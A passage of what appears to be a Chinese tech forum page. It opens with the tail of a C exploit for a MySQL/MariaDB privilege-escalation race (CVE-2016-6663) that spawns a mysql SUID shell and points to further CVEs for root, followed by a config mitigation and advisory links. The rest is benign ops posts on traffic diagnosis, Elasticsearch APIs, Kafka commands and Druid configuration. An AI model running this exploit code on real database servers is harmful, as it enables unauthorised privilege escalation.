if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加
symbolic-links = 0

 


参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html 


Zookeeper Too many connections情况

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 236 次浏览 • 2016-11-03 12:05 • 来自相关话题

Linux下定位使用流量最大的进程

开源技术chris 发表了文章 • 0 个评论 • 242 次浏览 • 2016-10-28 12:01 • 来自相关话题

在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。

使用iftop -P 定位哪个进程的流量比较大

通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptraf可以参考:http://linuxperf.com/?p=11​ , nethogs可以参考:http://man.linuxde.net/nethogs​  ,下面我介绍iftop查看过程,iftop -P结果如下:




从上图可以看出40613占用流量是最大的,接下来我们根据端口号,来确定程序的PID。

根据端口定位程序PID

# lsof -i:40613 或者 netstat -atunp |grep 40613



确认了PID为16276,下一步根据PID确定是哪个进程。

定位进程

根据进程PID确定进程的名称# cat /proc/16276/cmdline然后可以看到具体运行的程序,最后就可以分析为什么这个程序这么消耗流量了。 查看全部
在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。


使用iftop -P 定位哪个进程的流量比较大


通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptraf可以参考:http://linuxperf.com/?p=11​ , nethogs可以参考:http://man.linuxde.net/nethogs​  ,下面我介绍iftop查看过程,iftop -P结果如下:
iftop.png

从上图可以看出40613占用流量是最大的,接下来我们根据端口号,来确定程序的PID。


根据端口定位程序PID


# lsof -i:40613   或者   netstat -atunp |grep 40613
pid.png

确认了PID为16276,下一步根据PID确定是哪个进程。


定位进程


根据进程PID确定进程的名称
# cat /proc/16276/cmdline
然后可以看到具体运行的程序,最后就可以分析为什么这个程序这么消耗流量了。

Elasticsearch中常用的API接口整理

大数据/云计算小白菜 发表了文章 • 0 个评论 • 336 次浏览 • 2016-10-27 18:21 • 来自相关话题

Elasticsearch中常用API分类

elasticsearch中常用的API分类如下:
文档API: 提供对文档的增删改查操作搜索API: 提供对文档进行某个字段的查询索引API: 提供对索引进行操作,查看索引信息等查看API: 按照更直观的形式返回数据,更适用于控制台请求展示集群API: 对集群进行查看和操作的API
下面简单的一一介绍记录一下。
 

文档类API

Index API: 创建并建立索引
PUT twitter/tweet/1
{
"user" : "kimchy",
"post_date" : "2009-11-15T14:12:12",
"message" : "trying out Elasticsearch"
}官方文档参考:Index API 。
 
Get API: 获取文档
curl -XGET 'http://localhost:9200/twitter/tweet/1'官方文档参考:Get API 。
 
DELETE API: 删除文档
$ curl -XDELETE 'http://localhost:9200/twitter/tweet/1'官方文档参考:Delete API 。
 
UPDATE API: 更新文档
PUT test/type1/1
{
"counter" : 1,
"tags" : ["red"]
}官方文档参考:Update API 。
 
Multi Get API: 一次批量获取文档
curl 'localhost:9200/_mget' -d '{
"docs" : [
{
"_index" : "test",
"_type" : "type",
"_id" : "1"
},
{
"_index" : "test",
"_type" : "type",
"_id" : "2"
}
]
}'官方文档参考:Multi Get API 。
 
Bulk API: 批量操作,批量操作中可以执行增删改查
$ curl -s -XPOST localhost:9200/_bulk --data-binary "@requests"; echo
{"took":7, "errors": false, "items":[{"index":{"_index":"test","_type":"type1","_id":"1","_version":1,"result":"created","forced_refresh":false}}]}官方文档参考:Bulk API 。
 
DELETE By Query API: 根据查询删除
POST twitter/_delete_by_query
{
"query": {
"match": {
"message": "some message"
}
}
}官方文档参考:Delete By Query API 。
 
Update By Query API: 根据查询更新
POST twitter/_update_by_query?conflicts=proceed官方文档参考:Update By Query API 。
 
Reindex API:重建索引
POST _reindex
{
"source": {
"index": "twitter"
},
"dest": {
"index": "new_twitter"
}
}官方文档参考:Reindex API 。
 
Term Vectors: 词组分析,只能针对一个文档
curl -XGET 'http://localhost:9200/twitter/tweet/1/_termvectors?pretty=true'官方文档参考:Term Vectors 。
 
Multi termvectors API: 多个文档的词组分析
curl 'localhost:9200/_mtermvectors' -d '{
"docs": [
{
"_index": "testidx",
"_type": "test",
"_id": "2",
"term_statistics": true
},
{
"_index": "testidx",
"_type": "test",
"_id": "1",
"fields": [
"text"
]
}
]
}'官方文档参考:Multi termvectors API 。 更多关于文档类API请参考:Document APIs 。
 

搜索类API

URI Search:url中传参
GET twitter/tweet/_search?q=user:kimchy官方文档参考:URI Search 。
 
Request Body搜索接口: 搜索的条件在请求的body中
GET /twitter/tweet/_search
{
"query" : {
"term" : { "user" : "kimchy" }
}
}官方文档参考:Request Body Search 。  
 
搜索模版设置接口: 可以设置搜索的模版,模版的功能是可以根据不同的传入参数,进行不同的实际搜索搜索分片查询接口: 查询这个搜索会使用到哪个索引和分片Suggest接口: 搜索建议接口,输入一个词,根据某个字段,返回搜索建议。批量搜索接口: 把批量请求放在一个文件中,批量搜索接口读取这个文件,进行搜索查询Count接口: 只返回符合搜索的文档个数文档存在接口: 判断是否有符合搜索的文档存在验证接口: 判断某个搜索请求是否合法,不合法返回错误信息解释接口: 使用这个接口能返回某个文档是否符合某个查询,为什么符合等信息抽出器接口: 简单来说,可以用这个接口指定某个文档符合某个搜索,事先未文档建立对应搜索
官方文档参考:Search APIS 。
 

索引类API

创建索引接口(POST my_index)删除索引接口(DELETE my_index)获取索引信息接口(GET my_index)索引是否存在接口(HEAD my_index)打开/关闭索引接口(my_index/_close, my_index/_open)设置索引映射接口(PUT my_index/_mapping)获取索引映射接口(GET my_index/_mapping)获取字段映射接口(GET my_index/_mapping/field/my_field)类型是否存在接口(HEAD my_index/my_type)删除映射接口(DELTE my_index/_mapping/my_type)索引别名接口(_aliases)更新索引设置接口(PUT my_index/_settings)获取索引设置接口(GET my_index/_settings)分析接口(_analyze): 分析某个字段是如何建立索引的建立索引模版接口(_template): 为索引建立模版,以后新创建的索引都可以按照这个模版进行初始化预热接口(_warmer): 某些查询可以事先预热,这样预热后的数据存放在内存中,增加后续查询效率状态接口(_status): 索引状态批量索引状态接口(_stats): 批量查询索引状态分片信息接口(_segments): 提供分片信息级别的信息索引恢复接口(_recovery): 进行索引恢复操作清除缓存接口(_cache/clear): 清除所有的缓存输出接口(_flush)刷新接口(_refresh)优化接口(_optimize): 对索引进行优化升级接口(_upgrade): 这里的升级指的是把索引升级到lucence的最新格式
官方文档参考:Indices APIS 。
 

查看类API

查看别名接口(_cat/aliases): 查看索引别名查看分配资源接口(_cat/allocation)查看文档个数接口(_cat/count)查看字段分配情况接口(_cat/fielddata)查看健康状态接口(_cat/health)查看索引信息接口(_cat/indices)查看master信息接口(_cat/master)查看nodes信息接口(_cat/nodes)查看正在挂起的任务接口(_cat/pending_tasks)查看插件接口(_cat/plugins)查看修复状态接口(_cat/recovery)查看线城池接口(_cat/thread_pool)查看分片信息接口(_cat/shards)查看lucence的段信息接口(_cat/segments)
官方文档参考:Cat APIS 。
 

集群类API

查看集群健康状态接口(_cluster/health)查看集群状况接口(_cluster/state)查看集群统计信息接口(_cluster/stats)查看集群挂起的任务接口(_cluster/pending_tasks)集群重新路由操作(_cluster/reroute)更新集群设置(_cluster/settings)节点状态(_nodes/stats)节点信息(_nodes)节点的热线程(_nodes/hot_threads)关闭节点(/nodes/_master/_shutdown)
官方文档参考:Cluster APIS 。  尽在:https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html 查看全部
elasticsearch.png


Elasticsearch中常用API分类


elasticsearch中常用的API分类如下:
  • 文档API: 提供对文档的增删改查操作
  • 搜索API: 提供对文档进行某个字段的查询
  • 索引API: 提供对索引进行操作,查看索引信息等
  • 查看API: 按照更直观的形式返回数据,更适用于控制台请求展示
  • 集群API: 对集群进行查看和操作的API

下面简单的一一介绍记录一下。
 


文档类API


Index API: 创建并建立索引
PUT twitter/tweet/1
{
"user" : "kimchy",
"post_date" : "2009-11-15T14:12:12",
"message" : "trying out Elasticsearch"
}
官方文档参考:Index API 。
 
Get API: 获取文档
curl -XGET 'http://localhost:9200/twitter/tweet/1'
官方文档参考:Get API 。
 
DELETE API: 删除文档
$ curl -XDELETE 'http://localhost:9200/twitter/tweet/1'
官方文档参考:Delete API 。
 
UPDATE API: 更新文档
PUT test/type1/1
{
"counter" : 1,
"tags" : ["red"]
}
官方文档参考:Update API 。
 
Multi Get API: 一次批量获取文档
curl 'localhost:9200/_mget' -d '{
"docs" : [
{
"_index" : "test",
"_type" : "type",
"_id" : "1"
},
{
"_index" : "test",
"_type" : "type",
"_id" : "2"
}
]
}'
官方文档参考:Multi Get API 。
 
Bulk API: 批量操作,批量操作中可以执行增删改查
$ curl -s -XPOST localhost:9200/_bulk --data-binary "@requests"; echo
{"took":7, "errors": false, "items":[{"index":{"_index":"test","_type":"type1","_id":"1","_version":1,"result":"created","forced_refresh":false}}]}
官方文档参考:Bulk API 。
 
DELETE By Query API: 根据查询删除
POST twitter/_delete_by_query
{
"query": {
"match": {
"message": "some message"
}
}
}
官方文档参考:Delete By Query API 。
 
Update By Query API: 根据查询更新
POST twitter/_update_by_query?conflicts=proceed
官方文档参考:Update By Query API 。
 
Reindex API:重建索引
POST _reindex
{
"source": {
"index": "twitter"
},
"dest": {
"index": "new_twitter"
}
}
官方文档参考:Reindex API 。
 
Term Vectors: 词组分析,只能针对一个文档
curl -XGET 'http://localhost:9200/twitter/tweet/1/_termvectors?pretty=true'
官方文档参考:Term Vectors 。
 
Multi termvectors API: 多个文档的词组分析
curl 'localhost:9200/_mtermvectors' -d '{
"docs": [
{
"_index": "testidx",
"_type": "test",
"_id": "2",
"term_statistics": true
},
{
"_index": "testidx",
"_type": "test",
"_id": "1",
"fields": [
"text"
]
}
]
}'
官方文档参考:Multi termvectors API 。 更多关于文档类API请参考:Document APIs 。
 


搜索类API


URI Search:url中传参
GET twitter/tweet/_search?q=user:kimchy
官方文档参考:URI Search 。
 
Request Body搜索接口: 搜索的条件在请求的body中
GET /twitter/tweet/_search
{
"query" : {
"term" : { "user" : "kimchy" }
}
}
官方文档参考:Request Body Search 。  
 
  • 搜索模版设置接口: 可以设置搜索的模版,模版的功能是可以根据不同的传入参数,进行不同的实际搜索
  • 搜索分片查询接口: 查询这个搜索会使用到哪个索引和分片
  • Suggest接口: 搜索建议接口,输入一个词,根据某个字段,返回搜索建议。
  • 批量搜索接口: 把批量请求放在一个文件中,批量搜索接口读取这个文件,进行搜索查询
  • Count接口: 只返回符合搜索的文档个数
  • 文档存在接口: 判断是否有符合搜索的文档存在
  • 验证接口: 判断某个搜索请求是否合法,不合法返回错误信息
  • 解释接口: 使用这个接口能返回某个文档是否符合某个查询,为什么符合等信息
  • 抽出器接口: 简单来说,可以用这个接口指定某个文档符合某个搜索,事先未文档建立对应搜索

官方文档参考:Search APIS 。
 


索引类API


  • 创建索引接口(POST my_index)
  • 删除索引接口(DELETE my_index)
  • 获取索引信息接口(GET my_index)
  • 索引是否存在接口(HEAD my_index)
  • 打开/关闭索引接口(my_index/_close, my_index/_open)
  • 设置索引映射接口(PUT my_index/_mapping)
  • 获取索引映射接口(GET my_index/_mapping)
  • 获取字段映射接口(GET my_index/_mapping/field/my_field)
  • 类型是否存在接口(HEAD my_index/my_type)
  • 删除映射接口(DELTE my_index/_mapping/my_type)
  • 索引别名接口(_aliases)
  • 更新索引设置接口(PUT my_index/_settings)
  • 获取索引设置接口(GET my_index/_settings)
  • 分析接口(_analyze): 分析某个字段是如何建立索引的
  • 建立索引模版接口(_template): 为索引建立模版,以后新创建的索引都可以按照这个模版进行初始化
  • 预热接口(_warmer): 某些查询可以事先预热,这样预热后的数据存放在内存中,增加后续查询效率
  • 状态接口(_status): 索引状态
  • 批量索引状态接口(_stats): 批量查询索引状态
  • 分片信息接口(_segments): 提供分片信息级别的信息
  • 索引恢复接口(_recovery): 进行索引恢复操作
  • 清除缓存接口(_cache/clear): 清除所有的缓存
  • 输出接口(_flush)
  • 刷新接口(_refresh)
  • 优化接口(_optimize): 对索引进行优化
  • 升级接口(_upgrade): 这里的升级指的是把索引升级到lucence的最新格式

官方文档参考:Indices APIS 。
 


查看类API


  • 查看别名接口(_cat/aliases): 查看索引别名
  • 查看分配资源接口(_cat/allocation)
  • 查看文档个数接口(_cat/count)
  • 查看字段分配情况接口(_cat/fielddata)
  • 查看健康状态接口(_cat/health)
  • 查看索引信息接口(_cat/indices)
  • 查看master信息接口(_cat/master)
  • 查看nodes信息接口(_cat/nodes)
  • 查看正在挂起的任务接口(_cat/pending_tasks)
  • 查看插件接口(_cat/plugins)
  • 查看修复状态接口(_cat/recovery)
  • 查看线城池接口(_cat/thread_pool)
  • 查看分片信息接口(_cat/shards)
  • 查看lucence的段信息接口(_cat/segments)

官方文档参考:Cat APIS 。
 


集群类API


  • 查看集群健康状态接口(_cluster/health)
  • 查看集群状况接口(_cluster/state)
  • 查看集群统计信息接口(_cluster/stats)
  • 查看集群挂起的任务接口(_cluster/pending_tasks)
  • 集群重新路由操作(_cluster/reroute)
  • 更新集群设置(_cluster/settings)
  • 节点状态(_nodes/stats)
  • 节点信息(_nodes)
  • 节点的热线程(_nodes/hot_threads)
  • 关闭节点(/nodes/_master/_shutdown)

官方文档参考:Cluster APIS 。  尽在:https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html

kafka consumer offset out of range错误

回复

大数据/云计算Ansible 回复了问题 • 1 人关注 • 2 个回复 • 400 次浏览 • 2016-10-27 14:18 • 来自相关话题

Kafka topic 常用命令介绍

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 262 次浏览 • 2016-10-26 22:47 • 来自相关话题

本文主要记录平时kafka topic命令常使用的命令集,包括listTopic,createTopic,deleteTopic和describeTopic和alertTopic等,我这里是基于kafka 0.8.1.1版本,具体情况如下所示。
 
一、 describe topic 显示topic详细信息# ./kafka-topics.sh --describe --zookeeper localhost:2181
Topic:mobTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: mobTopic Partition: 0 Leader: 0 Replicas: 0 Isr: 0
Topic: mobTopic Partition: 1 Leader: 1 Replicas: 1 Isr: 1
Topic: mobTopic Partition: 2 Leader: 2 Replicas: 2 Isr: 2
Topic: mobTopic Partition: 3 Leader: 0 Replicas: 0 Isr: 0
Topic:serverTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: serverTopic Partition: 0 Leader: 2 Replicas: 2 Isr: 2
Topic: serverjsTopic Partition: 1 Leader: 0 Replicas: 0 Isr: 0
Topic: serverjsTopic Partition: 2 Leader: 1 Replicas: 1 Isr: 1
Topic: serverjsTopic Partition: 3 Leader: 2 Replicas: 2 Isr: 2
Topic:bugTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: bugTopic Partition: 0 Leader: 1 Replicas: 1 Isr: 1
Topic: bugTopic Partition: 1 Leader: 2 Replicas: 2 Isr: 2
Topic: bugTopic Partition: 2 Leader: 0 Replicas: 0 Isr: 0
Topic: bugTopic Partition: 3 Leader: 1 Replicas: 1 Isr: 11. 如上面可见,如果指定了--topic就是只显示给定topic的信息,否则显示所有topic的详细信息。
2. 如果指定了under-replicated-partitions,那么就显示那些副本数量不足的分区(ISR size < AR.size)
3. 如果指定了unavailable-partitions,那么就显示那些leader副本已不可用的分区
4. 从zookeeper上获取当前所有可用的broker
5. 遍历每个要describe的topic,
6. 获取这个topic的分区副本分配信息,若该信息不存在说明topic不存在
7. 否则将分配信息按照分区号进行排序
10. 如果没有指定步骤2中的参数也没有指定步骤3中的参数,那么显示分区数信息、副本系数信息以及配置信息
11. 默认情况下还会显示各个分区的信息
12. 从zookeeper中获取每个分区的ISR、Leader、AR信息并显示
 
二、create topic 创建topic# kafka-topics.sh --zookeeper localhost:2181 --create --topic mobTopic --replication-factor 1 --partitions 4
 从命令行中获取要创建的topic名称解析命令行指定的topic配置(如果存在的话),配置都是x=a的格式若指定了replica-assignment参数表明用户想要自己分配分区副本与broker的映射——通常都不这么做,如果不提供该参数Kafka帮你做这件事情检查必要的参数是否已指定,包括:zookeeper, replication-factor,partition和topic获取/brokers/ids下所有broker并按照broker id进行升序排序在broker上分配各个分区的副本映射 (没有指定replica-assignment参数,这也是默认的情况)检查topic名字合法性、自定义配置的合法性,并且要保证每个分区都必须有相同的副本数若zookeeper上已有对应的路径存在,直接抛出异常表示该topic已经存在确保某个分区的多个副本不会被分配到同一个broker若提供了自定义的配置,更新zookeeper的/config/topics/[topic]节点的数据创建/brokers/topics/[topic]节点,并将分区副本分配映射数据写入该节点
  
三、delete topic 删除topic# ./kafka-topics.sh --zookeeper locahost:2181 --delete --topic mobTopic
获取待删除的topic,如果没有指定--topic就是删除所有的topic对于每个要删除的topic,在zookeeper上的/admin/delete_topics下创建对应的子节点。kafka目前的删除topic逻辑只是在Zookeeper上标记而已,会有专门的线程负责监听该路径下的变更并负责更新zookeeper上其他节点上的数据,但底层的日志文件目前还是需要手动删除。
   
四、alert 修改topic的partion# ./kafka-topics.sh --zookeeper localhost:2181 --alter --topic mobTopic --partitions 10减少目前kakfa应该是不支持. 查看全部
kafka.png

本文主要记录平时kafka topic命令常使用的命令集,包括listTopic,createTopic,deleteTopic和describeTopic和alertTopic等,我这里是基于kafka 0.8.1.1版本,具体情况如下所示。
 
一、 describe topic 显示topic详细信息
# ./kafka-topics.sh --describe --zookeeper localhost:2181
Topic:mobTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: mobTopic Partition: 0 Leader: 0 Replicas: 0 Isr: 0
Topic: mobTopic Partition: 1 Leader: 1 Replicas: 1 Isr: 1
Topic: mobTopic Partition: 2 Leader: 2 Replicas: 2 Isr: 2
Topic: mobTopic Partition: 3 Leader: 0 Replicas: 0 Isr: 0
Topic:serverTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: serverTopic Partition: 0 Leader: 2 Replicas: 2 Isr: 2
Topic: serverjsTopic Partition: 1 Leader: 0 Replicas: 0 Isr: 0
Topic: serverjsTopic Partition: 2 Leader: 1 Replicas: 1 Isr: 1
Topic: serverjsTopic Partition: 3 Leader: 2 Replicas: 2 Isr: 2
Topic:bugTopic PartitionCount:4 ReplicationFactor:1 Configs:
Topic: bugTopic Partition: 0 Leader: 1 Replicas: 1 Isr: 1
Topic: bugTopic Partition: 1 Leader: 2 Replicas: 2 Isr: 2
Topic: bugTopic Partition: 2 Leader: 0 Replicas: 0 Isr: 0
Topic: bugTopic Partition: 3 Leader: 1 Replicas: 1 Isr: 1
1. 如上面可见,如果指定了--topic就是只显示给定topic的信息,否则显示所有topic的详细信息。
2. 如果指定了under-replicated-partitions,那么就显示那些副本数量不足的分区(ISR size < AR.size)
3. 如果指定了unavailable-partitions,那么就显示那些leader副本已不可用的分区
4. 从zookeeper上获取当前所有可用的broker
5. 遍历每个要describe的topic,
6. 获取这个topic的分区副本分配信息,若该信息不存在说明topic不存在
7. 否则将分配信息按照分区号进行排序
10. 如果没有指定步骤2中的参数也没有指定步骤3中的参数,那么显示分区数信息、副本系数信息以及配置信息
11. 默认情况下还会显示各个分区的信息
12. 从zookeeper中获取每个分区的ISR、Leader、AR信息并显示
 
二、create topic 创建topic
# kafka-topics.sh --zookeeper localhost:2181 --create --topic mobTopic --replication-factor 1  --partitions 4

  1.  从命令行中获取要创建的topic名称
  2. 解析命令行指定的topic配置(如果存在的话),配置都是x=a的格式
  3. 若指定了replica-assignment参数表明用户想要自己分配分区副本与broker的映射——通常都不这么做,如果不提供该参数Kafka帮你做这件事情
  4. 检查必要的参数是否已指定,包括:zookeeper, replication-factor,partition和topic
  5. 获取/brokers/ids下所有broker并按照broker id进行升序排序
  6. 在broker上分配各个分区的副本映射 (没有指定replica-assignment参数,这也是默认的情况)
  7. 检查topic名字合法性、自定义配置的合法性,并且要保证每个分区都必须有相同的副本数
  8. 若zookeeper上已有对应的路径存在,直接抛出异常表示该topic已经存在
  9. 确保某个分区的多个副本不会被分配到同一个broker
  10. 若提供了自定义的配置,更新zookeeper的/config/topics/[topic]节点的数据
  11. 创建/brokers/topics/[topic]节点,并将分区副本分配映射数据写入该节点

  
三、delete topic 删除topic
# ./kafka-topics.sh --zookeeper locahost:2181 --delete --topic mobTopic

  1. 获取待删除的topic,如果没有指定--topic就是删除所有的topic
  2. 对于每个要删除的topic,在zookeeper上的/admin/delete_topics下创建对应的子节点。kafka目前的删除topic逻辑只是在Zookeeper上标记而已,会有专门的线程负责监听该路径下的变更并负责更新zookeeper上其他节点上的数据,但底层的日志文件目前还是需要手动删除。

   
四、alert 修改topic的partion
# ./kafka-topics.sh --zookeeper localhost:2181 --alter --topic mobTopic --partitions 10
减少目前kakfa应该是不支持.

Druid任务分配策略配置详解

大数据/云计算Geek小A 发表了文章 • 1 个评论 • 239 次浏览 • 2016-10-21 14:20 • 来自相关话题

在说任务配置策略之前,先给大家看一下druid任务处理的大概架构图




如上图可以看出overlord节点如何将任务分配到middlemanager节点进行处理,如果在架构中有多个middlemanager节点,那任务将怎么分配呢,分配的测试是什么?
 
默认策略是fillCapacity, 意思是当一个MiddleManager的worker capacity满了的时候,再有任务到来时,才会分配给另外的MiddleManager节点。
 
补充: middlemanager的capacity意思是,能容纳任务的数量,通过修改middleManager节点下的 runtime.properties配置文件里的druid.worker.capacity属性配置。 




那么,除了这个策略,还有其他策略吗?另外,这个策略如何修改呢? 除了这个策略,还有fillCapacityWithAffinity, equalDistribution and javascript策略,那么策略如何修改呢? 
 
通过向Overlord节点发送个一个HTTP请求来修改,实质上是修改保存druid元数据的数据库,即 MetadataStorage,修改步骤如下: 
http://10.1.3.9:8090/druid/indexer/v1/worker(http://<OVERLORD_IP>: <port>/druid/indexer/v1/worke
X-Druid-Author sdx(修改配置的作者,可以随意写) X-Druid-Comment equal policy(修改配置的注释,可以随意写) Content-Type application/json


http://10.1.3.9:8090/druid/indexer/v1/worker(http://<OVERLORD_IP>: <port>/druid/indexer/v1/worker)
{
"selectStrategy": {
"type": "equalDistribution" }
}



通过访问http://10.1.3.9:8090/druid/indexer/v1/worker/history查看配置是否成功 




或者通过查看MetadataStorage的druid_conifg和druid_audit表查看是否配置成功 
 
注意: linux上通过如下指令配置:curl -XPOST -H 'X-Druid-Author: lucky' -H 'X-Druid-Comment: lucky' -H 'Content-Type: application/json' http://10.1.3.9:8090/druid/indexer/v1/worker -d '{ "selectStrategy": { "type": "equalDistribution" } }'更多内容请参考官网:http://druid.io/docs/0.9.1.1/configuration/indexing-service.html。 查看全部
Druid.png

在说任务配置策略之前,先给大家看一下druid任务处理的大概架构图
DruidWorkFlow.png

如上图可以看出overlord节点如何将任务分配到middlemanager节点进行处理,如果在架构中有多个middlemanager节点,那任务将怎么分配呢,分配的测试是什么?
 
默认策略是fillCapacity, 意思是当一个MiddleManager的worker capacity满了的时候,再有任务到来时,才会分配给另外的MiddleManager节点。
 
补充: middlemanager的capacity意思是,能容纳任务的数量,通过修改middleManager节点下的 runtime.properties配置文件里的druid.worker.capacity属性配置。 
capacity.png

那么,除了这个策略,还有其他策略吗?另外,这个策略如何修改呢? 除了这个策略,还有fillCapacityWithAffinity, equalDistribution and javascript策略,那么策略如何修改呢? 
 
通过向Overlord节点发送个一个HTTP请求来修改,实质上是修改保存druid元数据的数据库,即 MetadataStorage,修改步骤如下: 
http://10.1.3.9:8090/druid/indexer/v1/worker(http://<OVERLORD_IP>: <port>/druid/indexer/v1/worke
X-Druid-Author sdx(修改配置的作者,可以随意写) X-Druid-Comment equal policy(修改配置的注释,可以随意写) Content-Type application/json
postman.png
http://10.1.3.9:8090/druid/indexer/v1/worker(http://<OVERLORD_IP>: <port>/druid/indexer/v1/worker)
{
"selectStrategy": {
"type": "equalDistribution" }
}
send.png

通过访问http://10.1.3.9:8090/druid/indexer/v1/worker/history查看配置是否成功 
history.png

或者通过查看MetadataStorage的druid_conifg和druid_audit表查看是否配置成功 
 
注意: linux上通过如下指令配置:
curl -XPOST -H 'X-Druid-Author: lucky' -H 'X-Druid-Comment: lucky' -H 'Content-Type: application/json' http://10.1.3.9:8090/druid/indexer/v1/worker -d '{ "selectStrategy": { "type": "equalDistribution" } }'
更多内容请参考官网:http://druid.io/docs/0.9.1.1/configuration/indexing-service.html